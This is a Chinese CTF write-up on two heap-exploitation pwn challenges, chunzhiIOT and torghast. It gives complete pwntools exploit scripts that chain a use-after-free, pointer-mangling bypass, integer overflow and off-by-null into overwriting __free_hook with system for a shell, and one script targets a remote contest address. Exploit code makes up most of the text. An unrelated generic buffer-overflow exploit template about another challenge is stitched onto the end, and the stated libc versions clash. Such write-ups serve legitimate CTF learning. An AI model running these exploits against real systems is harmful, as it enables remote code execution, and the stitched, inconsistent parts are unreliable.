ichunqiu春季赛勇者山峰pwn-chunzhiIOT&torghast

本文探讨了一种针对ChunzhiIOT平台的漏洞利用,涉及堆溢出和libc-2.31版本的offbynull攻击。通过逆向分析,作者详细展示了如何利用整数溢出绕过检查,伪造内存指针,最终将free_hook指向system,实现了代码执行。

chunzhiIOT

​最难的地方在于逆向懂协议的组成,动手调一调就好了

漏洞点很明显是释放堆块后没有清除相应的指针

由于libc是2.33会有一个指针加密,详细的看这个师傅的文章一道题学习glibc-2.32异或加密

exp

from pwn import *
from LibcSearcher import *

p = process('./abc')
# p=remote()
context.log_level = 'debug'
libc=ELF('./libc.so')
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
def add(idx,size,cont):
    p.send('POST / HTTP/1.0 \r\n&\x01'+'&'+str(idx)+'&'+str(size)+'&'+cont)
def edit(idx,cont):
    p.send('POST / HTTP/1.0 \r\n&\x02'+'&'+str(idx)+'&'+cont)
def show(idx):
    p.send('POST / HTTP/1.0 \r\n&\x03'+'&'+str(idx))
def delete(idx):
    p.send('POST / HTTP/1.0 \r\n&\x04'+'&'+str(idx))
#login
p.send('DEV / HTTP/1.0 \r\nrotartsinimda')

add(0,0x418,'a')
add(1,0x30,'b')
delete(1)
show(1)
p.recvuntil('Content-Length: 5\n')
heapbase=u64(p.recv(5).ljust(8,'\x00'))<<12
info('heap->'+hex(heapbase))
delete(0)
add(2,0x428,'aaaa')
show(0)
p.recvuntil('Content-Length: 6\n')
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x1e0ff0
info('libc->'+hex(libcbase))
freehook=libcbase+libc.symbols['__free_hook']
system=libcbase+libc.symbols['system']
add(3,0x30,'c')
add(4,0x30,'ddd')
delete(3)

delete(4)
#0x55500000939c
fd=freehook^(heapbase>>12)
info('fd->'+hex(fd))
edit(4,p64(fd))
add(5,0x30,'/bin/sh')
add(6,0x30,p64(system))
delete(5)

p.interactive()

torghast

libc版本为2.31

逆向分析

​​​​​​在这里插入图片描述
管理堆块需要playflag不为0,我们用Ctrl+X追溯playflag
在这里插入图片描述
使playflag为1需要通过挑战
在这里插入图片描述
有个整数溢出,溢出后能绕过mplist[6*user]>0x5F5E0FE的判断,也就能一步步让playflag=1
在这里插入图片描述
漏洞点出现在edit函数有个off by null。版本是libc-2.31,off by null的利用比起libc2.29之前的利用更加复杂

libc-2.29以后,unlink时加入了对size和prev_size的检测

绕过这个也很简单,伪造prev_size即可,但是unlink还会检测fd和bk

我们需要绕过的检测有两个

一个是合并时对于size的检测

if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");

一个是对于fd和bk的双链表的检测,需要满足fd->bk=P且bk->fd=P也就是当前堆块

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);

由于已经泄露了libc和堆地址,可以直接伪造 prev_size和fd还有bk,造成堆块重叠改free__hook为system

这里解释一下为什么这样修改fd和bk

​add(3,0x418,'a'*8+p64(0x4c1)+p64(heapbase+0x320)*2+p64(0)*2+p64(heapbase+0x300)*2)

在unlink时,会检测large_bin的fd_nextsize和bk_nextsize的是否合法

if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
	  || p->bk_nextsize->fd_nextsize != p)
	malloc_printerr ("corrupted double-linked list (not small)");

      if (fd->fd_nextsize == NULL)
	{
	  if (p->fd_nextsize == p)
	    fd->fd_nextsize = fd->bk_nextsize = fd;
	  else
	    {
	      fd->fd_nextsize = p->fd_nextsize;
	      fd->bk_nextsize = p->bk_nextsize;
	      p->fd_nextsize->bk_nextsize = fd;
	      p->bk_nextsize->fd_nextsize = fd;
	    }
	}
      else
	{
	  p->fd_nextsize->bk_nextsize = p->bk_nextsize;
	  p->bk_nextsize->fd_nextsize = p->fd_nextsize;
	}
    }

绕过这个检测也很简单,只需要让fd_nextsize和bk_nextsize等于0就可以了

如果直接放在fd_nextsize和bk_nextsize会malloc_printerr(“corrupted double-linked list (not small)”);

exp
from pwn import *
from LibcSearcher import *

#p = process('./torgh')
p=remote('47.93.2.254',15813)
context.log_level = 'debug'
libc=ELF('./libc-2.31.so')
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
def menu(ch):
    sla('Choice:',str(ch))
def joinmenu(ch):
    sla('4. Return to Main Menu\n',str(ch))
def gain(ch):
    sla('4. Gain Infinity HP (Only GM)\n',str(ch))
def add(idx,size,cont):
    menu(1)
    sa('Select User Id',str(idx))
    sa('Player Data Size',str(size))
    sa('Input Data',cont)
def edit(idx,cont):
    menu(2)
    sla('Which Player To Change?',str(idx))
    sa('Your Log:',cont)
def delete(idx):
    menu(3)
    sla('Which Player You Want To Delete:',str(idx))
def change(idx):
    menu(2)
    sla('Choose Which User?',str(idx))
def exit():
    menu(4)
# int overflow
menu(1)
joinmenu(1)
for i in range(3):
    joinmenu(2)
    gain(1)
joinmenu(2)
gain(4)
for i in range(2):
    joinmenu(1)
    sl('1')
joinmenu(4)
menu(3)
add(1,0x438,'aaa')
add(2,0x18,'bbb')
delete(1)

add(1,0x18,'a')
menu(4)
change(1)
menu(1)
joinmenu(3)
p.recvuntil('Here Is The Adventure Log:\n')
libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x1ecf61
info('libc->'+hex(libcbase))
freehook=libcbase+libc.symbols['__free_hook']
system=libcbase+libc.symbols['system']
p.recv(10)
heapbase=u64(p.recv(6).ljust(8,'\x00'))-0x2d0
info('heap->'+hex(heapbase))

joinmenu(4)
menu(3)
add(3,0x418,'a'*8+p64(0x4c1)+p64(heapbase+0x320)*2+p64(0)*2+p64(heapbase+0x300)*2)
add(4,0x20,'ccc')
add(5,0x20,'ccc')
add(6,0x28,'ccc')
add(7,0x4f0,'ddd')
add(8,0x30,'eeeee')
edit(6,'a'*0x20+p64(0x4c0))
delete(7)
add(7,0x400,'aaaa')
add(9,0x20,'ccc')

delete(6)
delete(2)
edit(9,p64(freehook))
add(2,0x20,'/bin/sh\x00')
add(6,0x20,p64(system))
delete(2)
p.interactive()

### 关于攻防世界PWN-100题目的解答 #### 解决方案概述 对于攻防世界的PWN-100题目,通常涉及的是基础的缓冲区溢出攻击。这类题目旨在测试参者对Linux防护机制的理解程度以及绕过这些保护措施的能力。常见的技术包括但不限于返回导向编程(Return-Oriented Programming, ROP)、重定向到已知位置的shellcode执行(ret2shellcode)或是利用动态链接库中的函数实现系统命令调用(ret2libc)[^1]。 #### 技术细节 当面对没有启用地址空间布局随机化(ASLR)且未开启不可执行堆栈(NX bit off)的情况时,可以直接采用`ret2shellcode`的方式解决问题。此方法要求选手能够找到足够的空间放置自定义的shellcode,并通过控制EIP指向这段代码来完成最终的目标——通常是打开一个远程shell连接给攻击者[^3]。 如果遇到开启了NX位但是禁用了位置独立可执行文件(PIE),那么可以考虑使用`ret2libc`策略。这种方法依赖于将返回地址设置为标准C库(glibc)内的某个有用功能的位置,比如system()函数,从而间接地触发所需的恶意操作而无需注入新的机器码片段。 针对具体环境下的不同情况,还需要掌握诸如IDA Pro这样的反汇编工具来进行二进制分析工作;同时熟悉GDB调试技巧以便更好地理解程序内部逻辑并定位潜在的安全漏洞所在之处。 ```python from pwn import * # 连接到远程服务 conn = remote('challenge.ctf.games', PORT) # 发送payload前先接收初始消息 print(conn.recvline()) # 构造payload offset = 64 # 假设偏移量为64字节 junk = b'A' * offset return_address = pack('<I', 0xdeadbeef) # 替换为目标地址 exploit_payload = junk + return_address # 发送payload conn.send(exploit_payload) # 接收响应数据 result = conn.recvall() print(result.decode()) ```
评论 7
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值